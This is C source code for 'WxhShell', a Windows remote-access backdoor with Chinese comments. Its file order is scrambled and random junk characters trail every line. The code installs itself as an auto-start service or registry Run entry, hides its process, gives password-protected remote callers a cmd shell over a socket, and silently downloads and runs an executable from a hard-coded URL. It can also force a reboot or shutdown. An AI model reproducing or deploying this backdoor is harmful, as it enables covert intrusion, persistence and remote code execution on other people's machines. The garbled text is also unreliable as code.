    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sHPwW5j/o'  
    if(Boot(SHUTDOWN)) 0jJ28.kOp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zTBi{KrZ  
    else { wI]R+.  
    closesocket(wsh); k E#_Pc  
    ExitThread(0); Zc\h15+P  
    } 0O['-x  
    break; )3`  
    } <.7I8B7  
  // 获取shell #nf%ojh  
  case 's': { vu'!-K=0  
    CmdShell(wsh); SL\y\G aV  
    closesocket(wsh); ?ZuD _L-i  
    ExitThread(0); rb}wv16?  
    break; 23\j1?  
  } 77&^$JpM  
  // 退出 400Tw`AiJ  
  case 'x': { G0; EbJ/&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WP@JrnxO\`  
    CloseIt(wsh); < ;,S"e  
    break; mp+\!  
    } ?Str*XA;  
  // 离开 Rqb{)L X*  
  case 'q': { 8T.5Mhx0jS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #SihedWi  
    closesocket(wsh); 1l|A[ G  
    WSACleanup(); n"<GJ.{  
    exit(1); sAjKf\][  
    break; c]aK N  
        } ;/)Mcx]n  
  } */5<L99v  
  } fdq^!MWTi  
6PQJgki  
  // 提示信息 #-gGsj;F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rPo\Dz  
} /VmCN]2AZ  
  } \{M rQ2jd  
k}f<'g<H  
  return; FG;<`4mY  
} j_6`s!Yw  
~g K-5}%!  
// shell模块句柄 96"yNqBf  
int CmdShell(SOCKET sock) 4GU/V\e|  
{ eq@am(#&kY  
STARTUPINFO si; Hhe{ +W@~  
ZeroMemory(&si,sizeof(si)); O6m.t%*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QQg8+{>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?Do^stq'4  
PROCESS_INFORMATION ProcessInfo; sJ))<,e5I  
char cmdline[]="cmd"; Snc; p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); biK)&6|`sa  
  return 0; D00G1:Ft(T  
} K0EY<Ltq  
v`#j  
// 自身启动模式 ,:#,}w_HyO  
int StartFromService(void) qj~flw1:  
{ HE#,(;1i  
typedef struct 7BL |x  
{ Q00R<hu@F  
  DWORD ExitStatus; uipq=Yp.  
  DWORD PebBaseAddress; B ~fSMB6h  
  DWORD AffinityMask; DA<F{n.Z:  
  DWORD BasePriority; <Rcu%&;i  
  ULONG UniqueProcessId; Awu$g.  
  ULONG InheritedFromUniqueProcessId; q"gqO%Wb|  
}   PROCESS_BASIC_INFORMATION; ~7dM!g{W  
?QCmSK=L  
PROCNTQSIP NtQueryInformationProcess; w)+wj[6 E  
A6Ghj{~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J>rka]*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  9R9__w;  
D(y+1^>  
  HANDLE             hProcess;  f~w>v  
  PROCESS_BASIC_INFORMATION pbi; wP[xmO-%  
&+mV7o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z]^+^c_  
  if(NULL == hInst ) return 0; XD PL;(?  
c_ La^HS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WtEI] WO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "-w ^D!C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0cHfxy3  
')B =|T)  
  if (!NtQueryInformationProcess) return 0; >^a$  
y n SBVb!)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "jMqt9ysN  
  if(!hProcess) return 0; F\a]n^ Y  
PK_s#uC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tAF]2VV(e  
9B /s  
  CloseHandle(hProcess); {P-xCmZ~Wt  
GL1'Zo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .*BA 1sjE  
if(hProcess==NULL) return 0; #~L!pKM  
5sCFzo<=vh  
HMODULE hMod; /Rj#sxtdw  
char procName[255]; }g~g50ci  
unsigned long cbNeeded; Kx~$Bor_!  
$9 K(F~/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pz{'1\_+9  
)zU:  
  CloseHandle(hProcess); ]*qU+&  
~g6"'Cya?k  
if(strstr(procName,"services")) return 1; // 以服务启动 e}c&LDgU  
`ncNEHh7K  
  return 0; // 注册表启动 ( #* "c  
} ~.J,A\F  
tJNIr5o  
// 主模块 zh\$t]d<I  
int StartWxhshell(LPSTR lpCmdLine) @}Zd (o  
{ Gqb])gXpl  
  SOCKET wsl; ]4`t\YaT  
BOOL val=TRUE; ;B~P>n}}_]  
  int port=0; .u l 53 m  
  struct sockaddr_in door; +Mk#9 r  
]jyM@  
  if(wscfg.ws_autoins) Install(); @Br {!#Wf  
u:@U $:sZ  
port=atoi(lpCmdLine); Y25^]ON*\^  
#02Kdo&Vy  
if(port<=0) port=wscfg.ws_port; Zb(E:~h\  
AEY$@!8  
  WSADATA data; [$pmPr2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j(iuz^I  
~:4~2d|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =.*98  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .[?BlIlm  
  door.sin_family = AF_INET; R_^/,^1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0"78/6XIs  
  door.sin_port = htons(port); yhpz5[AuO  
iib  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pj0fM{E  
closesocket(wsl); XM/vDdR  
return 1; 2?W7I/F  
} +f>cxA  
-Fxmsi  
  if(listen(wsl,2) == INVALID_SOCKET) { )55\4<ty  
closesocket(wsl); pu+ur=5&  
return 1; Ya#h'+}  
} s =Umj'1k  
  Wxhshell(wsl); wJeG(h  
  WSACleanup(); hIYTe  
e)H!uR  
return 0; h5"Ov,K3[  
,qQG;w,m  
} c+kU o$  
+ H_WlYg-  
// 以NT服务方式启动 +oc >S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;@3FF  
{ X[](Kj^`<  
DWORD   status = 0; uuNR?1fS  
  DWORD   specificError = 0xfffffff; c~=B0K-  
f )Z%pgB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &QNY,Pj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .]x2K-Sf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QA#3bFZt1n  
  serviceStatus.dwWin32ExitCode     = 0; *Dmx&F=3,5  
  serviceStatus.dwServiceSpecificExitCode = 0; \4d.sy0&>-  
  serviceStatus.dwCheckPoint       = 0; Dg HaOAdU  
  serviceStatus.dwWaitHint       = 0; b:J(b?  
6KZf%)$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +7V{ABfGl  
  if (hServiceStatusHandle==0) return; Oakb'  
CO:u1?  
status = GetLastError(); N K]B?  
  if (status!=NO_ERROR) 3+Qxg+<  
{ uC3:7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N|g;W  
    serviceStatus.dwCheckPoint       = 0; 5kypMHJm  
    serviceStatus.dwWaitHint       = 0; iRV~Il#~!  
    serviceStatus.dwWin32ExitCode     = status; I6!5Yj]O"  
    serviceStatus.dwServiceSpecificExitCode = specificError; +|iYg/2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U69u'G:  
    return; Yc r3HLJy  
  } nl aM  
wXMDh$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '*^yAlgtt  
  serviceStatus.dwCheckPoint       = 0; )d\ j I  
  serviceStatus.dwWaitHint       = 0; tR0pH8?e"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?~"bR%  
} IP`6bMd  
#11NPo9  
// 处理NT服务事件,比如:启动、停止 h^9"i3H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vbx6I>\Y  
{ >_dx_<75&  
switch(fdwControl) >T2LEW  
{ TGXa,A{  
case SERVICE_CONTROL_STOP: xkNyvqcw  
  serviceStatus.dwWin32ExitCode = 0; 4/kv3rv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  VGHWNMT  
  serviceStatus.dwCheckPoint   = 0; n% 'tKU\q  
  serviceStatus.dwWaitHint     = 0; I:bD~F b3  
  { -oeL{9;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0~wF3BgV  
  } XqRJr%JH  
  return; &AVpLf:?  
case SERVICE_CONTROL_PAUSE: .:p2Tbo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EN{]Qb06A  
  break; 1g# #sSa6  
case SERVICE_CONTROL_CONTINUE: ;*ix~taL%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CQ`=V2:"ON  
  break; _lzyMEdr  
case SERVICE_CONTROL_INTERROGATE: j'[m:/  
  break; aQ^umrj@?9  
}; I;5R2" 3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W$U0[^1  
} 1O].v&{  
}$MN|s  
// 标准应用程序主函数 o"wXIHUmV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H&r,FmI@  
{  Qk!;M |  
`%+ mO88o  
// 获取操作系统版本 ]E  =Iu  
OsIsNt=GetOsVer(); *Av"JAX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &g2 Eptx#  
G}5#l  
  // 从命令行安装 M"%Q&o/I  
  if(strpbrk(lpCmdLine,"iI")) Install(); V f-a'K&  
eh1Q7 ~  
  // 下载执行文件 f.24:Dw,  
if(wscfg.ws_downexe) { 1qV@qz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dKl^jsd  
  WinExec(wscfg.ws_filenam,SW_HIDE); #%J5\+ua  
} zF5uN:-s  
r{L4]|(utY  
if(!OsIsNt) { +,~z Wv1v  
// 如果时win9x,隐藏进程并且设置为注册表启动 "V{yi!D{<  
HideProc(); eEhr140  
StartWxhshell(lpCmdLine); vI$t+m:  
} ?"?6,;F(4  
else 7'NwJ,$6\  
  if(StartFromService()) GGhM;%H_99  
  // 以服务方式启动 =^H4Yck/5  
  StartServiceCtrlDispatcher(DispatchTable); @ HZKc\1  
else Ra*e5  
  // 普通方式启动 T~h5B(J;  
  StartWxhshell(lpCmdLine); d #jK=:eK  
4v[~r1!V  
return 0; Kx_h1{  
} vkLC-Mzm<  
zE;bBwy&  
i-yy/y-N  
Z\ "Kd  
=========================================== /ig^7+#  
>WGX|"!"  
@ef//G+Z"  
Y!K^-Y}  
<) >gg!   
eY0Ly7  
" $bF`PGR_  
(H|%?F;{l  
#include <stdio.h> 5Ws:Ei{R  
#include <string.h> &4ug3  
#include <windows.h> ;j[q?^ b  
#include <winsock2.h> mSVX4XW<  
#include <winsvc.h> |q1b8A\  
#include <urlmon.h> {[(W4NAlH  
+lY\r +;  
#pragma comment (lib, "Ws2_32.lib") %8bFQNd  
#pragma comment (lib, "urlmon.lib") LH?gJ8`  
ex;Y n{4  
#define MAX_USER   100 // 最大客户端连接数 *g/I&'^  
#define BUF_SOCK   200 // sock buffer ,d/CU  
#define KEY_BUFF   255 // 输入 buffer \rw'QAi8r  
=CD:.FG.  
#define REBOOT     0   // 重启 v=|ahsYC  
#define SHUTDOWN   1   // 关机 W4Zi?@L>'  
q'PA2a:  
#define DEF_PORT   5000 // 监听端口 p`Ax)L\f  
O%rjY  
#define REG_LEN     16   // 注册表键长度 @*F NWT6  
#define SVC_LEN     80   // NT服务名长度 v\Q${6kEtx  
Y@Ty_j~  
// 从dll定义API ' R{ [Y)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZU/6#pb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $LKniK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `^RpT]S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iQ:]1H s  
~Q5L)}8N  
// wxhshell配置信息 e;,D!  
struct WSCFG { ?FD^S~bz-  
  int ws_port;         // 监听端口 O"^KX5  
  char ws_passstr[REG_LEN]; // 口令 \  VJ3  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]5B5J  
  char ws_regname[REG_LEN]; // 注册表键名 I9H+$Wjd  
  char ws_svcname[REG_LEN]; // 服务名 c}lUP(Ss  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vWwp'q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 waldLb>7D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~p^6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DjtUX>e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sAWUtJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sFMSH :5z  
e5C560  
}; A@+pvC&  
5^*I]5t8  
// default Wxhshell configuration ^lf{IM-Y  
struct WSCFG wscfg={DEF_PORT, L3,p8-d9Z  
    "xuhuanlingzhe", E\5t&jZr  
    1, an=8['X  
    "Wxhshell", &")ON[|b  
    "Wxhshell", Fep#Pw1  
            "WxhShell Service", `q".P]wtKN  
    "Wrsky Windows CmdShell Service", d A[I  
    "Please Input Your Password: ", {|bf`  
  1, "}Vow^vb  
  "http://www.wrsky.com/wxhshell.exe", 6j+_)7.V  
  "Wxhshell.exe" 8:TN,p  
    }; *6?h,Dt L  
Wyd,7]'z)Z  
// 消息定义模块 L W 8LD|@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tY~EB.%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }$?x wcPU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S2'./!3yv  
char *msg_ws_ext="\n\rExit."; V*"-@  
char *msg_ws_end="\n\rQuit."; 7X*$Fu<  
char *msg_ws_boot="\n\rReboot..."; '1_CMr  
char *msg_ws_poff="\n\rShutdown..."; ~*@ UQ9*p#  
char *msg_ws_down="\n\rSave to "; |9Q4VY'";  
CI{? Kb  
char *msg_ws_err="\n\rErr!"; #41~`vq3  
char *msg_ws_ok="\n\rOK!"; S=@.<gS  
xy5&}_Y  
char ExeFile[MAX_PATH]; <k+dJ=f  
int nUser = 0; jhOQ)QE|  
HANDLE handles[MAX_USER]; tN&4t xB  
int OsIsNt; e3oHe1"hP  
yY_Zq\   
SERVICE_STATUS       serviceStatus; P>j^w#$n  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a<*q+a(*W  
@ (<C{  
// 函数声明 Uc%kyTBm1  
int Install(void); PQj'D <G  
int Uninstall(void); o' EJ,8  
int DownloadFile(char *sURL, SOCKET wsh); TI/5'Oke$  
int Boot(int flag); O,PTY^  
void HideProc(void); ;IOM3'5 T@  
int GetOsVer(void); s3-TBhAv  
int Wxhshell(SOCKET wsl); gWD46+A){  
void TalkWithClient(void *cs); v\@pZw=x  
int CmdShell(SOCKET sock); ;"0bVs`.^e  
int StartFromService(void); z 4`H<Pn  
int StartWxhshell(LPSTR lpCmdLine); :,dO7dJi  
.[:*bo3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }%eXGdC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4^BHJOvs  
-u 'BK@;  
// 数据结构和表定义 k<NEauQ  
SERVICE_TABLE_ENTRY DispatchTable[] = 6Yx/m  
{ UzmD2A sO"  
{wscfg.ws_svcname, NTServiceMain}, };;6706a  
{NULL, NULL} {5gh.  
}; s3l:ST  
l+8G6?@]>  
// 自我安装 Wd_KZ}lX  
int Install(void) V2|XcR  
{ >NN&j#;x~  
  char svExeFile[MAX_PATH]; 09u@-  
  HKEY key; 5S ?+03h~  
  strcpy(svExeFile,ExeFile); VM[Vh k[  
"Dwaq*L  
// 如果是win9x系统,修改注册表设为自启动 J'>i3e Lq  
if(!OsIsNt) { [6Gb@jG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #\fxU:z~r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n$T'gX#5  
  RegCloseKey(key); zcNv T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /!Ng"^.e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I=I'O?w  
  RegCloseKey(key); m0 k~8^L@f  
  return 0; `by\@xQ)  
    } g4 |s9RMD  
  } wfxg@<WR  
} |H'4];>R?  
else { jQs"8[=s  
GwoN=  
// 如果是NT以上系统,安装为系统服务 g"iLhm` L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >)3[CU,  
if (schSCManager!=0) .:b|imgiv  
{ [nam H a  
  SC_HANDLE schService = CreateService P+~{q.|._c  
  ( !5P\5WF~Y  
  schSCManager, VY5/C;0^h  
  wscfg.ws_svcname, ?x(]U+  
  wscfg.ws_svcdisp, j[fVF3v  
  SERVICE_ALL_ACCESS, @sAT#[j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , byl#8=?  
  SERVICE_AUTO_START, zc&>RM  
  SERVICE_ERROR_NORMAL, 99%oY  
  svExeFile, (9r\YNK  
  NULL, vd Fy}#X  
  NULL, g9> 0N#<  
  NULL, fZK&h.  
  NULL, 4LqJ4jo  
  NULL { -*+G]  
  ); ^&oa\7<'  
  if (schService!=0) tbHU(#~  
  {  ]~g6#@l  
  CloseServiceHandle(schService); 5)fEs.r0U  
  CloseServiceHandle(schSCManager); %n-:mSus  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *I)o Dq3  
  strcat(svExeFile,wscfg.ws_svcname); qgd#BJ=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *-~B{2b<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tZlz0BY!  
  RegCloseKey(key); BgLW!|T[  
  return 0; N S*e<9  
    } ,7:_M> -3g  
  } N*6Y5[g!\  
  CloseServiceHandle(schSCManager); UELni,$  
} asT:/z0  
} mo1(dyjx  
aa:Oh^AJy  
return 1; '<" eG!O  
} ^:g8mt  
>%jQw.  
// 自我卸载 Afm GA9  
int Uninstall(void) 44T>Yp09  
{ \ FW{&X9a  
  HKEY key; "Ka2jw,  
t5dk}sRF  
if(!OsIsNt) { 6x%uWZa'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >SO !{  
  RegDeleteValue(key,wscfg.ws_regname); ({=: N  
  RegCloseKey(key); [ iE%P^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A<ca9g3  
  RegDeleteValue(key,wscfg.ws_regname); q]F2bo  
  RegCloseKey(key); 4%wP}Zj#  
  return 0; *B"p:F7J|  
  } D 3m4:z  
} &oJ=   
} M&P?/Zi=L  
else { tRU+6D <w  
vt0XCUnK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FoY_5/  
if (schSCManager!=0) C?6wIdp  
{ F9rxm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); II$B"-  
  if (schService!=0) b4`t, D  
  { +4G]!tV6  
  if(DeleteService(schService)!=0) { ZdbZ^DUR<(  
  CloseServiceHandle(schService); 5B3S]@%  
  CloseServiceHandle(schSCManager);  qW8sJ=  
  return 0; r\J"|{)e  
  } d?dZ=]~C  
  CloseServiceHandle(schService); nX(2&<  
  } ~#/NpKHT@A  
  CloseServiceHandle(schSCManager); 4/Ub%t -  
} h}PeXnRU  
} hM~9p{O  
??& Q"6Oe  
return 1; )xgOl*D  
} ;&B;RUUnTO  
QcBuUFf!c  
// 从指定url下载文件 eZes) &4  
int DownloadFile(char *sURL, SOCKET wsh) K|Sh  
{ OwXw9  
  HRESULT hr; '?]B ui  
char seps[]= "/"; P|,@En 1!  
char *token; H4C]%Q  
char *file; A1Tk6i<F1  
char myURL[MAX_PATH]; eXo7_#  
char myFILE[MAX_PATH]; w|$i<OIi)  
.Cq'D.  
strcpy(myURL,sURL); TEQs\d  
  token=strtok(myURL,seps); v@_}R_pX  
  while(token!=NULL) T,z 7U2O  
  { W"j&':xD  
    file=token; ^P30g2gv>  
  token=strtok(NULL,seps); +T]/4"^M  
  } S]_iobWK  
l":\@rm`  
GetCurrentDirectory(MAX_PATH,myFILE); X>}-UHKV+  
strcat(myFILE, "\\"); #mhR^60,  
strcat(myFILE, file); $oF0[}S  
  send(wsh,myFILE,strlen(myFILE),0); ;+:C  
send(wsh,"...",3,0); klkshlk d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PVfky@wl"  
  if(hr==S_OK) /2 V  
return 0; XMt)\r.  
else l/WQqT  
return 1; )4h4ql W  
Tj0qq.  
} A7 U]wW9  
7$"{&T  
// 系统电源模块 2G=prS`s  
int Boot(int flag) mdzUL d5J  
{ .Eg[[K_iD  
  HANDLE hToken; ['\ u?m  
  TOKEN_PRIVILEGES tkp; |emZZj  
RtScv  
  if(OsIsNt) { 2R`/Oox   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .>+jtp}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Fy-|E>@]D  
    tkp.PrivilegeCount = 1; /+{1;}AT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6^v HFJ$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .+2@(r  
if(flag==REBOOT) { Vv~:^6il  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;&U! g&  
  return 0; }@NT#hD  
} TI^M9;b  
else { P'p5-l UK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )@\m0bnF  
  return 0; d ~3G EK  
} OE_>Kw7q  
  } DgRA\[c  
  else { <O30X !QuK  
if(flag==REBOOT) { )ZQML0}P;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (d$ksf_[%f  
  return 0; ]q|^?C  
} ey! {  
else { ZX03FJL7u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) EE[JXoke  
  return 0; ]]{$X_0n  
} e&f9/rfx  
} "bAkS}(hB(  
JqTkNKi/s  
return 1; C.V")D=  
} pN/)$6=  
<}-[9fW  
// win9x进程隐藏模块 Pw/Z;N;:V  
void HideProc(void)  5k.NZ  
{ FX7=81**4  
AOQimjW9a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \o9-[V#Gm  
  if ( hKernel != NULL ) YQOdwc LG  
  { S(](C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); obRR))  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~U`oew  
    FreeLibrary(hKernel); !7!xJ&/V  
  } 2<wuzP|  
T6JN@:8  
return; a'f"Zdh%w  
} FR9qW$B  
VTySKY+  
// 获取操作系统版本 }$3eRu +  
int GetOsVer(void) `E>HpRcxD  
{ 0ZPwEP  
  OSVERSIONINFO winfo; Pcut#8?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M>dP 1  
  GetVersionEx(&winfo); SV16]Vc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gO%#'Eb2  
  return 1; PHl{pE*  
  else [hA%VF.9  
  return 0; KJ<7aZ  
} GqumH/;  
@#K19\dQ  
// 客户端句柄模块 !"/]<OQ   
int Wxhshell(SOCKET wsl) F,Q\_H##x4  
{ w~a^r]lPW  
  SOCKET wsh; *LpEH,J  
  struct sockaddr_in client; Nq1la8oQ3  
  DWORD myID; r2}u\U4>  
|m7U^  
  while(nUser<MAX_USER) gRv5l3k  
{ 5ckL=q"+/  
  int nSize=sizeof(client); n 1MZHa,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "a))TV%N  
  if(wsh==INVALID_SOCKET) return 1; ;q]Jm  
qd#?8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eznt "Rr2  
if(handles[nUser]==0) xF: O6KL  
  closesocket(wsh); F8M&.TE_3  
else d4KT wn5g  
  nUser++; lxb+0fiN  
  } aTS\NpK&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [P.M>"c\  
zWKnkIit,  
  return 0; q/U(j&8W{  
} n&ZA rJ  
r(;oDdVc  
// 关闭 socket nVkx Q?2  
void CloseIt(SOCKET wsh) X{4jyi-<  
{ /a.4atb0  
closesocket(wsh); ?q a  
nUser--; D\|$ ! i}  
ExitThread(0);  m=D2|WA8  
} yO*~)ALb+  
NRu _6~^^  
// 客户端请求句柄 i ,Cvnp6Lv  
void TalkWithClient(void *cs) |/<,71Ae  
{ Ie{98  
j8n_:;i*  
  SOCKET wsh=(SOCKET)cs; s}Phw2`1U  
  char pwd[SVC_LEN]; -!MrG68  
  char cmd[KEY_BUFF]; !v/5 G_pr  
char chr[1]; uQh dg4  
int i,j; j1{|3#5V  
pF kA,  
  while (nUser < MAX_USER) { "fK`F/  
0K/Pth"*  
if(wscfg.ws_passstr) { kQ~2mU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9U[Gh97Sf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hRAI7xk  
  //ZeroMemory(pwd,KEY_BUFF); a&:1W83  
      i=0; c%1k'Q  
  while(i<SVC_LEN) { ;fomc<  
j"(o>b v7  
  // 设置超时 k1tJ$}  
  fd_set FdRead; j("$qp v  
  struct timeval TimeOut; .OhpItn  
  FD_ZERO(&FdRead); fH#yJd2?f  
  FD_SET(wsh,&FdRead); )Z6bMAb0'N  
  TimeOut.tv_sec=8; \8j5b+  
  TimeOut.tv_usec=0; oh*Hzb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =5:L#` .  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u.v 5!G  
3On IAk3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aq~>$CHa  
  pwd=chr[0]; Pdgn9  
  if(chr[0]==0xd || chr[0]==0xa) { rP4v_?Zg+  
  pwd=0; 5cc;8i  
  break; $DPMi9,7^  
  } +'fy%/  
  i++; GMk\ l  
    } E :gS*tsY  
9Z?P/ o  
  // 如果是非法用户,关闭 socket k+-IuO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <//82j+px  
} Z_b^K^4  
b\6 )whh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :r4]8X-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zk6al$3R  
Za,MzKd=  
while(1) { '8%pEl^  
0*e)_l!  
  ZeroMemory(cmd,KEY_BUFF); |W't-}yf  
g)Ep'd-w"  
      // 自动支持客户端 telnet标准   n oWjZ  
  j=0; bx!uHL=  
  while(j<KEY_BUFF) { )q.Z}_,)@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {?2jvv  
  cmd[j]=chr[0]; 9gu$vF]9!  
  if(chr[0]==0xa || chr[0]==0xd) { 01N]|F:  
  cmd[j]=0; z-9@K<`H  
  break; 6snDv4  
  } bxxazsj^  
  j++; \o|5 /N  
    } t1LIZ5JY  
rTJ='<hIy  
  // 下载文件 Drn{ucIs  
  if(strstr(cmd,"http://")) { 6CQ.>M:R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -|1H-[Y(  
  if(DownloadFile(cmd,wsh))  {J aulg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,s=jtK  
  else t=-t xnlr<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KOQiX?'  
  } 6[b?ckvi  
  else { [>P9_zID  
fG *1A\t]  
    switch(cmd[0]) { |iGfX,C|  
  1q?b?.  
